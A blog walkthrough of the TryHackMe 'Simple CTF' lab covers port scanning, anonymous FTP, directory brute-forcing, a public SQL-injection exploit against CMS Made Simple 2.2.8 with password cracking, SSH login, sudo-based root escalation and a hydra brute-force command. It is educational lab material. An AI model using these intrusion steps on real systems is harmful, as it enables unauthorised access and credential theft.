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Simple CTF

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By Hummus-Ful
8 min read

This is a writeup for the Simple CTF challenge on Try-Hack-Me where you’ll need to scan, exploit SQLi vulnerability and escalate your privileges to root. Rated as Easy/Beginner level machine.

Introduction

In this post, we’ll try to root Simple-CTF. It was created by MrSeth6797. It is rated as Easy/Beginner level machine.

Prerequisites

Kali Linux / Parrot Security OS

The virtual machine we’ll use to source the attack vectors against the Simple-CTF machine. These Linux distribution has all required tools pre-installed. Choose one of them.

  • Kali Linux VM (based on Debian distribution) can be downloaded for both VMware and VirtualBox from Offensive-Security
  • Parrot Security VM (based on Arch distribution with different desktop flavors) can be downloaded from Parrot Security

TryHackMe account

Signup or login to TryHackMe, deploy the machine and give it a couple of minutes to boot.

Dedicated Directory

We need to create a dedicated directory in our home directory ~ for our findings. We’ll use mkdir to create the directory and cd to change into it:

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$ mkdir ~/tryhackme/simple_ctf
$ cd ~/tryhackme/simple_ctf/

Add IP to hosts file [OPTIONAL]

For better readability we’ll add the target IP to our local /etc/hosts file. Please note this command requires sudo privileges.

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$ sudo nano /etc/hosts

127.0.0.1       localhost
127.0.1.1       kali
10.10.157.7     simple.ctf
...

Now we can use the ‘simple.ctf’ hostname instead of the IP in all the commands.

Scanning

nmap

We’ll start with scanning the target for open ports using nmap. The command we’ll use is sudo nmap -sV -T4 -p- -O -oN nmap simple.ctf which is a full TCP-SYN scan to scan all ports on the target. Let’s break it down:

  • -sV determine service/version info
  • -T4 for faster execution
  • -p- scan all ports
  • -O identify Operating System
  • -oN output to file, in our case it’s called nmap
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$ sudo nmap -sV -p- -T4 -O -oN nmap simple.ctf
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-09 10:41 EST
Nmap scan report for 10.10.157.7
Host is up (0.081s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.13 seconds

FTP

Personally, if a scan finds a listening FTP service, I ALWAYS try to login using anonymous user with empty password. Let’s do that.

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$ ftp simple.ctf
Name (10.10.64.49:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Nice! we’re able to login. In order to list all files in the current directory, we use ls -la commandand find an interesting file - ForMitch.txt. Using get ForMitch.txt command we pull that file to our local machine and read it. It’s content:

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Dammit man... you're the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Looks like we have two potential usernames:

  1. Mitch / mitch
  2. system / root

Website

Using Firefox we can check the website on port 80. It looks like a simple Apache default page. Nothing in website headers as well. We’ll run a directory scan using dirb to try and find interesting URLs

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$ dirb http://simple.ctf  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Jan  9 15:29:03 2021
URL_BASE: http://simple.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://simple.ctf/ ----
+ http://simple.ctf/index.html (CODE:200|SIZE:11321)                                               
+ http://simple.ctf/robots.txt (CODE:200|SIZE:929)                                                 
+ http://simple.ctf/server-status (CODE:403|SIZE:299)                                             
==> DIRECTORY: http://simple.ctf/simple/                                                           
---- Entering directory: http://simple.ctf/simple/ ----
==> DIRECTORY: http://simple.ctf/simple/admin/                                                     
==> DIRECTORY: http://simple.ctf/simple/assets/                                                   
==> DIRECTORY: http://simple.ctf/simple/doc/                                                       
+ http://simple.ctf/simple/index.php (CODE:200|SIZE:19833)                                         
...

dirb found a Simple CMS on /simple path. Let’s investigate it using Firefox. The CMS footer is:

Copyright 2004 - 2021 - CMS Made Simple This site is powered by CMS Made Simple version 2.2.8

Quick search in exploit-db reveals the CMS version is vulnerable to SQLi (You may also use searchsploit simple 2.2.8 to find that exploit). We’ll download the Python file and run it with -h flag to see what arguments we need to provide the script (same can be done if you know your way with Python code but I assume no prior knowledge). In case you encounter any errors regarding missing packages, use pip to install it. Here’s a quick intro to pip

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$ python 46635.py -h
Usage: xpl.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://10.10.10.100/cms)
  -w WORDLIST, --wordlist=WORDLIST
                        Wordlist for crack admin password
  -c, --crack           Crack password with wordlist

OK, so our flags are:

  • --url http://simple.ctf/simple
  • --crack
  • --wordlist /usr/share/seclists/Passwords/Common-Credentials/best110.txt

Keep in mind Seclists in not pre-installed in Kali and can be downloaded using sudo apt install seclists

This means the complete command is: python 46635.py --url http://simple.ctf/simple --crack --wordlist /usr/share/seclists/Passwords/Common-Credentials/best110.txt.

The script will run on a dictionary of character, trying to find the right one in each place by injecting a special payload. The final output consists of the salt, username, email, hashed password and clear text password:

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[+] Salt for password found: [REDACTED]
[+] Username found: [REDACTED]
[+] Email found: [REDACTED]
[+] Password found: [REDACTED]
[+] Password cracked: [REDACTED]

Gaining Access

SSH

Now that we have username:password combination we can use it to login to SSH (remember the FTP note? it stated the combination is the same):

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$ ssh mitch@simple.ctf -p2222
The authenticity of host '[simple.ctf]:2222 ([simple.ctf]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBjO+NFKOjZvL5LOVF5/jc0kwt8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[simple.ctf]:2222' (ECDSA) to the list of known hosts.
mitch@simple.ctf's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190

Success! We were able to login and npw have an active shell. If we list files in that directory using ls -la, we can find the user flag.

Using ls /home we can list users in the system. This will reveal there’s another user on the machine.

Privilege Escalation

Using sudo -l command we can test our user permissions to run services and files with sudo privileges

Note:
Links to further reading about sudo -l can be found at the Summary
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$ sudo -l          
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/[REDACTED]

We can use that service to try and spawn a shell with sudo privileges. We first need to lunch the service as sudo and try to exit it back to shell. sudo /usr/bin/[REDACTED] Now, once we’re in that application we can exit back to shell using :shell input, but now the shell is root shell.

Note:
Links to further reading how to spawn a TTY Shell can be found at the Summary
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$ root@Machine:~# whoami
root
$ root@Machine:~# cd /root/
$ root@Machine:/root# ls 
root.txt
$ root@Machine:/root# cat root.txt 
[REDACTED]

Potential Rabbit Holes

robots.txt

The website’s robots.txt file contains the following:

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...
User-agent: *
Disallow: /

Disallow: /openemr-5_0_1_3 
#
# End of "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $".
#

mike might be a user in Simple CMS and the /openemr-5_0_1_3 might be a URL path.

hydra / brute-force

Brute-Force mikes password on SSH service using Hydra. hydra -l system -P /usr/share/wordlists/rockyou.txt ssh://simple.ctf:2222 -t 4

Insufficient Scanning

Nikto wasn’t able to find the Simple CMS and sent me to a goos chase all confused.

Summary

Reading Materials

  • How to spawn a TTY Shell
  • sudo -l - I see this technique used in many CTFs, It’s simple to run and easy to understand. Make sure you feel comfortable with it. READ, READ2
Try-Hack-Me
tryhackme easy simple ctf ctf sqli ftp dirb
This post is licensed under CC BY 4.0 by the author.